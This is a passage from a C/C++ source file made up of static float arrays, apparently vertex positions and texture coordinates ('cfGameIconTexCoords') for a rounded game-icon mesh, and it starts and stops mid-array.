f,0.402758f,1.047552f,0.0f,\n0.396693f,-0.928623f,0.064218f,0.398253f,-0.990281f,0.044197f,0.619893f,-0.976437f,0.042517f,0.616423f,-0.916988f,0.061789f,\n0.619893f,-0.976437f,0.042517f,0.398253f,-0.990281f,0.044197f,0.400637f,-1.0298f,0.021594f,0.625198f,-1.014588f,0.020771f,\n0.736514f,-0.954452f,0.040237f,0.619893f,-0.976437f,0.042517f,0.625198f,-1.014588f,0.020771f,0.746069f,-0.989453f,0.019733f,\n0.616423f,-0.916988f,0.061789f,0.619893f,-0.976437f,0.042517f,0.736514f,-0.954452f,0.040237f,0.729904f,-0.89991f,0.058224f,\n0.400637f,-1.0298f,0.021594f,0.402758f,-1.050629f,0.0f,0.629917f,-1.034726f,0.0f,0.625198f,-1.014588f,0.020771f,\n0.625198f,-1.014588f,0.020771f,0.629917f,-1.034726f,0.0f,0.753849f,-1.008273f,0.0f,0.746069f,-0.989453f,0.019733f,\n0.736514f,-0.954452f,0.040237f,0.746069f,-0.989453f,0.019733f,0.833359f,-0.954616f,0.018815f,0.817418f,-0.925416f,0.037876f,\n0.746069f,-0.989453f,0.019733f,0.753849f,-1.008273f,0.0f,0.844656f,-0.971323f,0.0f,0.833359f,-0.954616f,0.018815f,\n0.833359f,-0.954616f,0.018815f,0.844656f,-0.971323f,0.0f,0.911522f,-0.922159f,0.0f,0.896749f,-0.90822f,0.018385f,\n0.833359f,-0.954616f,0.018815f,0.896749f,-0.90822f,0.018385f,0.87333f,-0.886124f,0.036675f,0.817418f,-0.925416f,0.037876f,\n0.729904f,-0.89991f,0.058224f,0.736514f,-0.954452f,0.040237f,0.817418f,-0.925416f,0.037876f,0.805551f,-0.8797f,0.054004f,\n0.805551f,-0.8797f,0.054004f,0.817418f,-0.925416f,0.037876f,0.87333f,-0.886124f,0.036675f,0.846982f,-0.861263f,0.050154f,\n0.403842f,-0.422739f,0.09157f,0.401892f,-0.652534f,0.088189f,0.62799f,-0.648441f,0.084918f,0.632327f,-0.420911f,0.088189f,\n0.401892f,-0.652534f,0.088189f,0.399509f,-0.775509f,0.082561f,0.622688f,-0.768902f,0.079479f,0.62799f,-0.648441f,0.084918f,\n0.62799f,-0.648441f,0.084918f,0.622688f,-0.768902f,0.079479f,0.741819f,-0.760488f,0.074426f,0.750737f,-0.64344f,0.079479f,\n0.632327f,-0.420911f,0.088189f,0.62799f,-0.648441f,0.084918f,0.750737f,-0.64344f,0.079479f,0.757739f,-0.418675f,0.082561f,\n0.399509f,-0.775509f,0.082561f,0.397559f,-0.8642f,0.074693f,0.618351f,-0.854962f,0.071886f,0.622688f,-0.768902f,0.079479f,\n0.397559f,-0.8642f,0.074693f,0.396693f,-0.928623f,0.064218f,0.616423f,-0.916988f,0.061789f,0.618351f,-0.854962f,0.071886f,\n0.618351f,-0.854962f,0.071886f,0.616423f,-0.916988f,0.061789f,0.729904f,-0.89991f,0.058224f,0.733736f,-0.842312f,0.067487f,\n0.622688f,-0.768902f,0.079479f,0.618351f,-0.854962f,0.071886f,0.733736f,-0.842312f,0.067487f,0.741819f,-0.760488f,0.074426f,\n0.741819f,-0.760488f,0.074426f,0.733736f,-0.842312f,0.067487f,0.812784f,-0.828995f,0.061777f,0.826898f,-0.752861f,0.067487f,\n0.733736f,-0.842312f,0.067487f,0.729904f,-0.89991f,0.058224f,0.805551f,-0.8797f,0.054004f,0.812784f,-0.828995f,0.061777f,\n0.812784f,-0.828995f,0.061777f,0.805551f,-0.8797f,0.054004f,0.846982f,-0.861263f,0.050154f,0.866523f,-0.822169f,0.054004f,\n0.826898f,-0.752861f,0.067487f,0.812784f,-0.828995f,0.061777f,0.866523f,-0.822169f,0.054004f,0.887941f,-0.749245f,0.058224f,\n0.757739f,-0.418675f,0.082561f,0.750737f,-0.64344f,0.079479f,0.840305f,-0.639347f,0.071886f,0.850096f,-0.416846f,0.074693f,\n0.750737f,-0.64344f,0.079479f,0.741819f,-0.760488f,0.074426f,0.826898f,-0.752861f,0.067487f,0.840305f,-0.639347f,0.071886f,\n0.840305f,-0.639347f,0.071886f,0.826898f,-0.752861f,0.067487f,0.887941f,-0.749245f,0.058224f,0.906041f,-0.637528f,0.061789f,\n0.850096f,-0.416846f,0.074693f,0.840305f,-0.639347f,0.071886f,0.906041f,-0.637528f,0.061789f,0.918372f,-0.416033f,0.064218f,\n0.403842f,0.396564f,0.09157f,0.404492f,-0.013589f,0.092698f,0.633773f,-0.01364f,0.08928f,0.632327f,0.394595f,0.088189f,\n0.404492f,-0.013589f,0.092698f,0.403842f,-0.422739f,0.09157f,0.632327f,-0.420911f,0.088189f,0.633773f,-0.01364f,0.08928f,\n0.633773f,-0.01364f,0.08928f,0.632327f,-0.420911f,0.088189f,0.757739f,-0.418675f,0.082561f,0.760073f,-0.013703f,0.083588f,\n0.632327f,0.394595f,0.088189f,0.633773f,-0.01364f,0.08928f,0.760073f,-0.013703f,0.083588f,0.757739f,0.392188f,0.082561f,\n0.757739f,-0.418675f,0.082561f,0.850096f,-0.416846f,0.074693f,0.853359f,-0.013754f,0.075629f,0.760073f,-0.013703f,0.083588f,\n0.850096f,-0.416846f,0.074693f,0.918372f,-0.416033f,0.064218f,0.922482f,-0.013776f,0.065028f,0.853359f,-0.013754f,0.075629f,\n0.853359f,-0.013754f,0.075629f,0.922482f,-0.013776f,0.065028f,0.918372f,0.389343f,0.064218f,0.850096f,0.390218f,0.074693f,\n0.760073f,-0.013703f,0.083588f,0.853359f,-0.013754f,0.075629f,0.850096f,0.390218f,0.074693f,0.757739f,0.392188f,0.082561f,\n-1.047163f,0.39547f,0.0f,-1.024871f,0.393327f,0.021594f,-1.008591f,0.622221f,0.020771f,-1.030143f,0.626951f,0.0f,\n-1.008591f,0.622221f,0.020771f,-1.024871f,0.393327f,0.021594f,-0.982578f,0.390919f,0.044197f,-0.967761f,0.616903f,0.042517f,\n-0.981692f,0.744767f,0.019733f,-1.008591f,0.622221f,0.020771f,-0.967761f,0.616903f,0.042517f,-0.944233f,0.735189f,0.040237f,\n-1.030143f,0.626951f,0.0f,-1.008591f,0.622221f,0.020771f,-0.981692f,0.744767f,0.019733f,-1.001834f,0.752565f,0.0f,\n-0.982578f,0.390919f,0.044197f,-0.916591f,0.389343f,0.064218f,-0.90414f,0.613425f,0.061789f,-0.967761f,0.616903f,0.042517f,\n-0.967761f,0.616903f,0.042517f,-0.90414f,0.613425f,0.061789f,-0.885862f,0.728563f,0.058224f,-0.944233f,0.735189f,0.040237f,\n-0.981692f,0.744767f,0.019733f,-0.944233f,0.735189f,0.040237f,-0.913159f,0.816749f,0.037876f,-0.944409f,0.832727f,0.018815f,\n-0.944233f,0.735189f,0.040237f,-0.885862f,0.728563f,0.058224f,-0.864233f,0.804853f,0.054004f,-0.913159f,0.816749f,0.037876f,\n-0.913159f,0.816749f,0.037876f,-0.864233f,0.804853f,0.054004f,-0.844501f,0.846382f,0.050154f,-0.871108f,0.872793f,0.036675f,\n-0.913159f,0.816749f,0.037876f,-0.871108f,0.872793f,0.036675f,-0.894756f,0.896267f,0.018385f,-0.944409f,0.832727f,0.018815f,\n-1.001834f,0.752565f,0.0f,-0.981692f,0.744767f,0.019733f,-0.944409f,0.832727f,0.018815f,-0.962289f,0.844051f,0.0f,\n-0.962289f,0.844051f,0.0f,-0.944409f,0.832727f,0.018815f,-0.894756f,0.896267f,0.018385f,-0.909674f,0.911075f,0.0f,\n0.918372f,0.389343f,0.064218f,0.983719f,0.390919f,0.044197f,0.969045f,0.616903f,0.042517f,0.906041f,0.613425f,0.061789f,\n0.969045f,0.616903f,0.042517f,0.983719f,0.390919f,0.044197f,1.025601f,0.393327f,0.021594f,1.009478f,0.622221f,0.020771f,\n0.945745f,0.735189f,0.040237f,0.969045f,0.616903f,0.042517f,1.009478f,0.622221f,0.020771f,0.982841f,0.744767f,0.019733f,\n0.906041f,0.613425f,0.061789f,0.969045f,0.616903f,0.042517f,0.945745f,0.735189f,0.040237f,0.887941f,0.728563f,0.058224f,\n1.025601f,0.393327f,0.021594f,1.047675f,0.39547f,0.0f,1.030822f,0.626951f,0.0f,1.009478f,0.622221f,0.020771f,\n1.009478f,0.622221f,0.020771f,1.030822f,0.626951f,0.0f,1.002787f,0.752565f,0.0f,0.982841f,0.744767f,0.019733f,\n0.945745f,0.735189f,0.040237f,0.982841f,0.744767f,0.019733f,0.94592f,0.832727f,0.018815f,0.914973f,0.816749f,0.037876f,\n0.982841f,0.744767f,0.019733f,1.002787f,0.752565f,0.0f,0.963626f,0.844051f,0.0f,0.94592f,0.832727f,0.018815f,\n0.94592f,0.832727f,0.018815f,0.963626f,0.844051f,0.0f,0.911522f,0.911075f,0.0f,0.896749f,0.896267f,0.018385f,\n0.94592f,0.832727f,0.018815f,0.896749f,0.896267f,0.018385f,0.87333f,0.872793f,0.036675f,0.914973f,0.816749f,0.037876f,\n0.887941f,0.728563f,0.058224f,0.945745f,0.735189f,0.040237f,0.914973f,0.816749f,0.037876f,0.866523f,0.804853f,0.054004f,\n0.866523f,0.804853f,0.054004f,0.914973f,0.816749f,0.037876f,0.87333f,0.872793f,0.036675f,0.846982f,0.846382f,0.050154f,\n0.396693f,0.917941f,0.064218f,0.397559f,0.849503f,0.074693f,0.618351f,0.83969f,0.071886f,0.616423f,0.905582f,0.061789f,\n0.397559f,0.849503f,0.074693f,0.399509f,0.756465f,0.082561f,0.622688f,0.749446f,0.079479f,0.618351f,0.83969f,0.071886f,\n0.618351f,0.83969f,0.071886f,0.622688f,0.749446f,0.079479f,0.741819f,0.740507f,0.074426f,0.733736f,0.826251f,0.067487f,\n0.616423f,0.905582f,0.061789f,0.618351f,0.83969f,0.071886f,0.733736f,0.826251f,0.067487f,0.729904f,0.887439f,0.058224f,\n0.399509f,0.756465f,0.082561f,0.401892f,0.629367f,0.088189f,0.62799f,0.625019f,0.084918f,0.622688f,0.749446f,0.079479f,\n0.401892f,0.629367f,0.088189f,0.403842f,0.396564f,0.09157f,0.632327f,0.394595f,0.088189f,0.62799f,0.625019f,0.084918f,\n0.62799f,0.625019f,0.084918f,0.632327f,0.394595f,0.088189f,0.757739f,0.392188f,0.082561f,0.750737f,0.619705f,0.079479f,\n0.622688f,0.749446f,0.079479f,0.62799f,0.625019f,0.084918f,0.750737f,0.619705f,0.079479f,0.741819f,0.740507f,0.074426f,\n0.741819f,0.740507f,0.074426f,0.750737f,0.619705f,0.079479f,0.840305f,0.615357f,0.071886f,0.826898f,0.732405f,0.067487f,\n0.750737f,0.619705f,0.079479f,0.757739f,0.392188f,0.082561f,0.850096f,0.390218f,0.074693f,0.840305f,0.615357f,0.071886f,\n0.840305f,0.615357f,0.071886f,0.850096f,0.390218f,0.074693f,0.918372f,0.389343f,0.064218f,0.906041f,0.613425f,0.061789f,\n0.826898f,0.732405f,0.067487f,0.840305f,0.615357f,0.071886f,0.906041f,0.613425f,0.061789f,0.887941f,0.728563f,0.058224f,\n0.729904f,0.887439f,0.058224f,0.733736f,0.826251f,0.067487f,0.812784f,0.812104f,0.061777f,0.805551f,0.865969f,0.054004f,\n0.733736f,0.826251f,0.067487f,0.741819f,0.740507f,0.074426f,0.826898f,0.732405f,0.067487f,0.812784f,0.812104f,0.061777f,\n0.812784f,0.812104f,0.061777f,0.826898f,0.732405f,0.067487f,0.887941f,0.728563f,0.058224f,0.866523f,0.804853f,0.054004f,\n0.805551f,0.865969f,0.054004f,0.812784f,0.812104f,0.061777f,0.866523f,0.804853f,0.054004f,0.846982f,0.846382f,0.050154f,\n0.399509f,0.756465f,0.082561f,0.397559f,0.849503f,0.074693f,0.002293f,0.852774f,0.075629f,0.002284f,0.758804f,0.083588f,\n0.397559f,0.849503f,0.074693f,0.396693f,0.917941f,0.064218f,0.002297f,0.922061f,0.065028f,0.002293f,0.852774f,0.075629f,\n0.002293f,0.852774f,0.075629f,0.002297f,0.922061f,0.065028f,-0.392243f,0.917941f,0.064218f,-0.39312f,0.849503f,0.074693f,\n0.002284f,0.758804f,0.083588f,0.002293f,0.852774f,0.075629f,-0.39312f,0.849503f,0.074693f,-0.395094f,0.756465f,0.082561f,\n0.399509f,0.756465f,0.082561f,0.002284f,0.758804f,0.083588f,0.002274f,0.630816f,0.089279f,0.401892f,0.629367f,0.088189f,\n0.002284f,0.758804f,0.083588f,-0.395094f,0.756465f,0.082561f,-0.397505f,0.629367f,0.088189f,0.002274f,0.630816f,0.089279f,\n0.002274f,0.630816f,0.089279f,-0.397505f,0.629367f,0.088189f,-0.399478f,0.396564f,0.09157f,0.002265f,0.397221f,0.092698f,\n0.401892f,0.629367f,0.088189f,0.002274f,0.630816f,0.089279f,0.002265f,0.397221f,0.092698f,0.403842f,0.396564f,0.09157f,\n-0.916591f,0.389343f,0.064218f,-0.847646f,0.390218f,0.074693f,-0.837759f,0.615357f,0.071886f,-0.90414f,0.613425f,0.061789f,\n-0.847646f,0.390218f,0.074693f,-0.754564f,0.392188f,0.082561f,-0.747494f,0.619705f,0.079479f,-0.837759f,0.615357f,0.071886f,\n-0.837759f,0.615357f,0.071886f,-0.747494f,0.619705f,0.079479f,-0.738488f,0.740507f,0.074426f,-0.824221f,0.732405f,0.067487f,\n-0.90414f,0.613425f,0.061789f,-0.837759f,0.615357f,0.071886f,-0.824221f,0.732405f,0.067487f,-0.885862f,0.728563f,0.058224f,\n-0.754564f,0.392188f,0.082561f,-0.628465f,0.394595f,0.088189f,-0.624085f,0.625019f,0.084918f,-0.747494f,0.619705f,0.079479f,\n-0.628465f,0.394595f,0.088189f,-0.399478f,0.396564f,0.09157f,-0.397505f,0.629367f,0.088189f,-0.624085f,0.625019f,0.084918f,\n-0.624085f,0.625019f,0.084918f,-0.397505f,0.629367f,0.088189f,-0.395094f,0.756465f,0.082561f,-0.618732f,0.749446f,0.079479f,\n-0.747494f,0.619705f,0.079479f,-0.624085f,0.625019f,0.084918f,-0.618732f,0.749446f,0.079479f,-0.738488f,0.740507f,0.074426f,\n-0.738488f,0.740507f,0.074426f,-0.618732f,0.749446f,0.079479f,-0.614352f,0.83969f,0.071886f,-0.730326f,0.826251f,0.067487f,\n-0.618732f,0.749446f,0.079479f,-0.395094f,0.756465f,0.082561f,-0.39312f,0.849503f,0.074693f,-0.614352f,0.83969f,0.071886f,\n-0.614352f,0.83969f,0.071886f,-0.39312f,0.849503f,0.074693f,-0.392243f,0.917941f,0.064218f,-0.612405f,0.905582f,0.061789f,\n-0.730326f,0.826251f,0.067487f,-0.614352f,0.83969f,0.071886f,-0.612405f,0.905582f,0.061789f,-0.726455f,0.887439f,0.058224f,\n-0.885862f,0.728563f,0.058224f,-0.824221f,0.732405f,0.067487f,-0.809968f,0.812104f,0.061777f,-0.864233f,0.804853f,0.054004f,\n-0.824221f,0.732405f,0.067487f,-0.738488f,0.740507f,0.074426f,-0.730326f,0.826251f,0.067487f,-0.809968f,0.812104f,0.061777f,\n-0.809968f,0.812104f,0.061777f,-0.730326f,0.826251f,0.067487f,-0.726455f,0.887439f,0.058224f,-0.802664f,0.865969f,0.054004f,\n-0.864233f,0.804853f,0.054004f,-0.809968f,0.812104f,0.061777f,-0.802664f,0.865969f,0.054004f,-0.844501f,0.846382f,0.050154f,\n};\n\nstatic const float cfGameIconTexCoords[] = {\n0.098918f,0.907702f,0.118783f,0.916444f,0.115314f,0.892403f,0.089549f,0.889167f,\n0.118783f,0.916444f,0.154967f,0.926026f,0.153129f,0.898717f,0.115314f,0.892403f,\n0.115314f,0.892403f,0.153129f,0.898717f,0.149254f,0.859921f,0.108547f,0.856305f,\n0.089549f,0.889167f,0.115314f,0.892403f,0.108547f,0.856305f,0.07928f,0.854591f,\n0.154967f,0.926026f,0.209119f,0.934124f,0.208194f,0.904715f,0.153129f,0.898717f,\n0.209119f,0.934124f,0.313652f,0.93964f,0.313236f,0.909095f,0.208194f,0.904715f,\n0.208194f,0.904715f,0.313236f,0.909095f,0.312299f,0.867044f,0.206115f,0.863911f,\n0.153129f,0.898717f,0.208194f,0.904715f,0.206115f,0.863911f,0.149254f,0.859921f,\n0.149254f,0.859921f,0.206115f,0.863911f,0.203573f,0.806797f,0.144978f,0.804425f,\n0.206115f,0.863911f,0.312299f,0.867044f,0.311154f,0.808737f,0.203573f,0.806797f,\n0.203573f,0.806797f,0.311154f,0.808737f,0.310217f,0.699784f,0.201493f,0.698917f,\n0.144978f,0.804425f,0.203573f,0.806797f,0.201493f,0.698917f,0.141621f,0.697857f,\n0.07928f,0.854591f,0.108547f,0.856305f,0.102119f,0.802484f,0.070602f,0.801622f,\n0.108547f,0.856305f,0.149254f,0.859921f,0.144978f,0.804425f,0.102119f,0.802484f,\n0.102119f,0.802484f,0.144978f,0.804425f,0.141621f,0.697857f,0.097425f,0.69699f,\n0.070602f,0.801622f,0.102119f,0.802484f,0.097425f,0.69699f,0.064689f,0.696604f,\n0.310217f,0.699784f,0.311154f,0.808737f,0.500971f,0.809384f,0.500967f,0.700073f,\n0.311154f,0.808737f,0.312299f,0.867044f,0.500976f,0.868088f,0.500971f,0.809384f,\n0.500971f,0.809384f,0.500976f,0.868088f,0.68958f,0.867044f,0.690711f,0.808737f,\n0.500967f,0.700073f,0.500971f,0.809384f,0.690711f,0.808737f,0.691637f,0.699784f,\n0.312299f,0.867044f,0.313236f,0.909095f,0.50098f,0.910555f,0.500976f,0.868088f,\n0.313236f,0.909095f,0.313652f,0.93964f,0.500982f,0.941479f,0.50098f,0.910555f,\n0.50098f,0.910555f,0.500982f,0.941479f,0.688243f,0.93964f,0.688654f,0.909095f,\n0.500976f,0.868088f,0.50098f,0.910555f,0.688654f,0.909095f,0.68958f,0.867044f,\n0.310217f,0.699784f,0.500967f,0.700073f,0.500965f,0.505784f,0.309905f,0.505792f,\n0.500967f,0.700073f,0.691637f,0.699784f,0.691946f,0.505792f,0.500965f,0.505784f,\n0.500965f,0.505784f,0.691946f,0.505792f,0.691637f,0.311325f,0.500967f,0.311013f,\n0.309905f,0.505792f,0.500965f,0.505784f,0.500967f,0.311013f,0.310217f,0.311325f,\n0.141621f,0.3134f,0.097425f,0.314333f,0.09586f,0.50587f,0.140502f,0.505846f,\n0.097425f,0.314333f,0.064689f,0.314748f,0.062719f,0.505881f,0.09586f,0.50587f,\n0.09586f,0.50587f,0.062719f,0.505881f,0.064689f,0.696604f,0.097425f,0.69699f,\n0.140502f,0.505846f,0.09586f,0.50587f,0.097425f,0.69699f,0.141621f,0.697857f,\n0.141621f,0.3134f,0.140502f,0.505846f,0.2008f,0.505816f,0.201493f,0.312259f,\n0.140502f,0.505846f,0.141621f,0.697857f,0.201493f,0.698917f,0.2008f,0.505816f,\n0.2008f,0.505816f,0.201493f,0.698917f,0.310217f,0.699784f,0.309905f,0.505792f,\n0.201493f,0.312259f,0.2008f,0.505816f,0.309905f,0.505792f,0.310217f,0.311325f,\n0.098918f,0.098051f,0.118783f,0.088764f,0.115314f,0.070013f,0.089549f,0.088764f,\n0.118783f,0.088764f,0.154967f,0.078585f,0.153129f,0.056238f,0.115314f,0.070013f,\n0.115314f,0.070013f,0.153129f,0.056238f,0.14647f,0.030613f,0.104205f,0.048635f,\n0.089549f,0.088764f,0.115314f,0.070013f,0.104205f,0.048635f,0.073229f,0.072587f,\n0.154967f,0.078585f,0.209119f,0.069983f,0.208194f,0.045626f,0.153129f,0.056238f,\n0.209119f,0.069983f,0.313652f,0.064123f,0.313236f,0.038853f,0.208194f,0.045626f,\n0.208194f,0.045626f,0.313236f,0.038853f,0.31157f,0.009921f,0.204497f,0.017695f,\n0.153129f,0.056238f,0.208194f,0.045626f,0.204497f,0.017695f,0.14647f,0.030613f,\n0.204497f,0.017695f,0.31157f,0.009921f,0.269666f,0.0f,0.202648f,0.01068f,\n0.14647f,0.030613f,0.204497f,0.017695f,0.202648f,0.01068f,0.135631f,0.02136f,\n0.104205f,0.048635f,0.14647f,0.030613f,0.135631f,0.02136f,0.100033f,0.042615f,\n0.073229f,0.072587f,0.104205f,0.048635f,0.100033f,0.042615f,0.064435f,0.06387f,\n0.269666f,0.0f,0.31157f,0.009921f,0.500973f,0.007329f,0.500969f,0.0f,\n0.500973f,0.007329f,0.31157f,0.009921f,0.313236f,0.038853f,0.50098f,0.036595f,\n0.6903f,0.009921f,0.500973f,0.007329f,0.50098f,0.036595f,0.688654f,0.038853f,\n0.500969f,0.0f,0.500973f,0.007329f,0.6903f,0.009921f,0.732272f,0.0f,\n0.313236f,0.038853f,0.313652f,0.064123f,0.500982f,0.062169f,0.50098f,0.036595f,\n0.50098f,0.036595f,0.500982f,0.062169f,0.688243f,0.064123f,0.688654f,0.038853f,\n0.688243f,0.93964f,0.500982f,0.941479f,0.50098f,0.965553f,0.688654f,0.963427f,\n0.500982f,0.941479f,0.313652f,0.93964f,0.313236f,0.963427f,0.50098f,0.965553f,\n0.50098f,0.965553f,0.313236f,0.963427f,0.31157f,0.990661f,0.500973f,0.993101f,\n0.688654f,0.963427f,0.50098f,0.965553f,0.500973f,0.993101f,0.6903f,0.990661f,\n0.31157f,0.990661f,0.269666f,1.0f,0.500969f,1.0f,0.500973f,0.993101f,\n0.500973f,0.993101f,0.500969f,1.0f,0.732272f,1.0f,0.6903f,0.990661f,\n0.064435f,0.939877f,0.100033f,0.959885f,0.104205f,0.954218f,0.073229f,0.931672f,\n0.100033f,0.959885f,0.135631f,0.979893f,0.14647f,0.971183f,0.104205f,0.954218f,\n0.104205f,0.954218f,0.14647f,0.971183f,0.153129f,0.947062f,0.115314f,0.934095f,\n0.073229f,0.931672f,0.104205f,0.954218f,0.115314f,0.934095f,0.089549f,0.916444f,\n0.135631f,0.979893f,0.202648f,0.989946f,0.204497f,0.983343f,0.14647f,0.971183f,\n0.202648f,0.989946f,0.269666f,1.0f,0.31157f,0.990661f,0.204497f,0.983343f,\n0.204497f,0.983343f,0.31157f,0.990661f,0.313236f,0.963427f,0.208194f,0.957052f,\n0.14647f,0.971183f,0.204497f,0.983343f,0.208194f,0.957052f,0.153129f,0.947062f,\n0.208194f,0.957052f,0.313236f,0.963427f,0.313652f,0.93964f,0.209119f,0.934124f,\n0.153129f,0.947062f,0.208194f,0.957052f,0.209119f,0.934124f,0.154967f,0.926026f,\n0.115314f,0.934095f,0.153129f,0.947062f,0.154967f,0.926026f,0.118783f,0.916444f,\n0.089549f,0.916444f,0.115314f,0.934095f,0.118783f,0.916444f,0.098918f,0.907702f,\n0.902043f,0.907702f,0.91132f,0.916444f,0.930054f,0.892403f,0.91132f,0.889167f,\n0.930054f,0.892403f,0.91132f,0.916444f,0.927482f,0.931672f,0.951411f,0.902768f,\n0.943816f,0.856305f,0.930054f,0.892403f,0.951411f,0.902768f,0.969416f,0.862518f,\n0.91132f,0.889167f,0.930054f,0.892403f,0.943816f,0.856305f,0.92149f,0.854591f,\n0.927482f,0.931672f,0.93619f,0.939877f,0.957425f,0.906662f,0.951411f,0.902768f,\n0.951411f,0.902768f,0.957425f,0.906662f,0.97866f,0.873446f,0.969416f,0.862518f,\n0.943816f,0.856305f,0.969416f,0.862518f,0.982322f,0.805934f,0.954418f,0.802484f,\n0.969416f,0.862518f,0.97866f,0.873446f,0.98933f,0.807659f,0.982322f,0.805934f,\n0.982322f,0.805934f,0.98933f,0.807659f,1.0f,0.741872f,0.990089f,0.698531f,\n0.982322f,0.805934f,0.990089f,0.698531f,0.961185f,0.69699f,0.954418f,0.802484f,\n0.92149f,0.854591f,0.943816f,0.856305f,0.954418f,0.802484f,0.930084f,0.801622f,\n0.930084f,0.801622f,0.954418f,0.802484f,0.961185f,0.69699f,0.935938f,0.696604f,\n0.935938f,0.696604f,0.961185f,0.69699f,0.96344f,0.50587f,0.93789f,0.505881f,\n0.96344f,0.50587f,0.961185f,0.69699f,0.990089f,0.698531f,0.992677f,0.505827f,\n0.961185f,0.314333f,0.96344f,0.50587f,0.992677f,0.505827f,0.990089f,0.312674f,\n0.93789f,0.505881f,0.96344f,0.50587f,0.961185f,0.314333f,0.935938f,0.314748f,\n0.990089f,0.698531f,1.0f,0.741872f,1.0f,0.505805f,0.992677f,0.505827f,\n0.992677f,0.505827f,1.0f,0.505805f,1.0f,0.269739f,0.990089f,0.312674f,\n0.064435f,0.939877f,0.073229f,0.931672f,0.049066f,0.902768f,0.042992f,0.906662f,\n0.049066f,0.902768f,0.073229f,0.931672f,0.089549f,0.916444f,0.070633f,0.892403f,\n0.030884f,0.862518f,0.049066f,0.902768f,0.070633f,0.892403f,0.056735f,0.856305f,\n0.042992f,0.906662f,0.049066f,0.902768f,0.030884f,0.862518f,0.021549f,0.873446f,\n0.089549f,0.916444f,0.098918f,0.907702f,0.089549f,0.889167f,0.070633f,0.892403f,\n0.070633f,0.892403f,0.089549f,0.889167f,0.07928f,0.854591f,0.056735f,0.856305f,\n0.030884f,0.862518f,0.056735f,0.856305f,0.046029f,0.802484f,0.017852f,0.805934f,\n0.056735f,0.856305f,0.07928f,0.854591f,0.070602f,0.801622f,0.046029f,0.802484f,\n0.046029f,0.802484f,0.070602f,0.801622f,0.064689f,0.696604f,0.039196f,0.69699f,\n0.046029f,0.802484f,0.039196f,0.69699f,0.010008f,0.698531f,0.017852f,0.805934f,\n0.021549f,0.873446f,0.030884f,0.862518f,0.017852f,0.805934f,0.010774f,0.807659f,\n0.010774f,0.807659f,0.017852f,0.805934f,0.010008f,0.698531f,0.0f,0.741872f,\n0.0f,0.269739f,0.0f,0.505805f,0.007394f,0.505827f,0.010008f,0.312673f,\n0.0f,0.505805f,0.0f,0.741872f,0.010008f,0.698531f,0.007394f,0.505827f,\n0.007394f,0.505827f,0.010008f,0.698531f,0.039196f,0.69699f,0.036918f,0.50587f,\n0.010008f,0.312673f,0.007394f,0.505827f,0.036918f,0.50587f,0.039196f,0.314333f,\n0.039196f,0.69699f,0.064689f,0.696604f,0.062719f,0.505881f,0.036918f,0.50587f,\n0.036918f,0.50587f,0.062719f,0.505881f,0.064689f,0.314748f,0.039196f,0.314333f,\n0.688243f,0.064123f,0.792572f,0.069983f,0.793487f,0.045626f,0.688654f,0.038853f,\n0.792572f,0.069983f,0.846453f,0.078585f,0.848273f,0.056238f,0.793487f,0.045626f,\n0.793487f,0.045626f,0.848273f,0.056238f,0.854867f,0.030613f,0.797148f,0.017695f,\n0.6903f,0.009921f,0.688654f,0.038853f,0.793487f,0.045626f,0.797148f,0.017695f,\n0.846453f,0.078585f,0.882371f,0.088764f,0.885805f,0.070013f,0.848273f,0.056238f,\n0.882371f,0.088764f,0.902043f,0.098051f,0.91132f,0.088764f,0.885805f,0.070013f,\n0.885805f,0.070013f,0.91132f,0.088764f,0.927482f,0.072587f,0.896806f,0.048635f,\n0.848273f,0.056238f,0.885805f,0.070013f,0.896806f,0.048635f,0.854867f,0.030613f,\n0.896806f,0.048635f,0.927482f,0.072587f,0.93619f,0.06387f,0.900938f,0.042615f,\n0.854867f,0.030613f,0.896806f,0.048635f,0.900938f,0.042615f,0.865686f,0.02136f,\n0.797148f,0.017695f,0.854867f,0.030613f,0.865686f,0.02136f,0.798979f,0.01068f,\n0.6903f,0.009921f,0.797148f,0.017695f,0.798979f,0.01068f,0.732272f,0.0f,\n0.688243f,0.93964f,0.688654f,0.963427f,0.793487f,0.957052f,0.792572f,0.934124f,\n0.793487f,0.957052f,0.688654f,0.963427f,0.6903f,0.990661f,0.797148f,0.983343f,\n0.848273f,0.947062f,0.793487f,0.957052f,0.797148f,0.983343f,0.854867f,0.971183f,\n0.792572f,0.934124f,0.793487f,0.957052f,0.848273f,0.947062f,0.846453f,0.926026f,\n0.6903f,0.990661f,0.732272f,1.0f,0.798979f,0.989946f,0.797148f,0.983343f,\n0.797148f,0.983343f,0.798979f,0.989946f,0.865686f,0.979893f,0.854867f,0.971183f,\n0.848273f,0.947062f,0.854867f,0.971183f,0.896806f,0.954218f,0.885805f,0.934095f,\n0.854867f,0.971183f,0.865686f,0.979893f,0.900938f,0.959885f,0.896806f,0.954218f,\n0.896806f,0.954218f,0.900938f,0.959885f,0.93619f,0.939877f,0.927482f,0.931672f,\n0.896806f,0.954218f,0.927482f,0.931672f,0.91132f,0.916444f,0.885805f,0.934095f,\n0.846453f,0.926026f,0.848273f,0.947062f,0.885805f,0.934095f,0.882371f,0.916444f,\n0.882371f,0.916444f,0.885805f,0.934095f,0.91132f,0.916444f,0.902043f,0.907702f,\n0.691637f,0.699784f,0.690711f,0.808737f,0.798063f,0.806796f,0.800123f,0.698917f,\n0.690711f,0.808737f,0.68958f,0.867044f,0.795546f,0.863911f,0.798063f,0.806796f,\n0.798063f,0.806796f,0.795546f,0.863911f,0.85211f,0.859921f,0.856345f,0.804425f,\n0.800123f,0.698917f,0.798063f,0.806796f,0.856345f,0.804425f,0.859669f,0.697857f,\n0.68958f,0.867044f,0.688654f,0.909095f,0.793487f,0.904715f,0.795546f,0.863911f,\n0.688654f,0.909095f,0.688243f,0.93964f,0.792572f,0.934124f,0.793487f,0.904715f,\n0.793487f,0.904715f,0.792572f,0.934124f,0.846453f,0.926026f,0.848273f,0.898717f,\n0.795546f,0.863911f,0.793487f,0.904715f,0.848273f,0.898717f,0.85211f,0.859921f,\n0.85211f,0.859921f,0.848273f,0.898717f,0.885805f,0.892403f,0.892507f,0.856305f,\n0.848273f,0.898717f,0.846453f,0.926026f,0.882371f,0.916444f,0.885805f,0.892403f,\n0.885805f,0.892403f,0.882371f,0.916444f,0.902043f,0.907702f,0.91132f,0.889167f,\n0.892507f,0.856305f,0.885805f,0.892403f,0.91132f,0.889167f,0.92149f,0.854591f,\n0.859669f,0.697857f,0.856345f,0.804425f,0.898872f,0.802484f,0.903521f,0.69699f,\n0.856345f,0.804425f,0.85211f,0.859921f,0.892507f,0.856305f,0.898872f,0.802484f,\n0.898872f,0.802484f,0.892507f,0.856305f,0.92149f,0.854591f,0.930084f,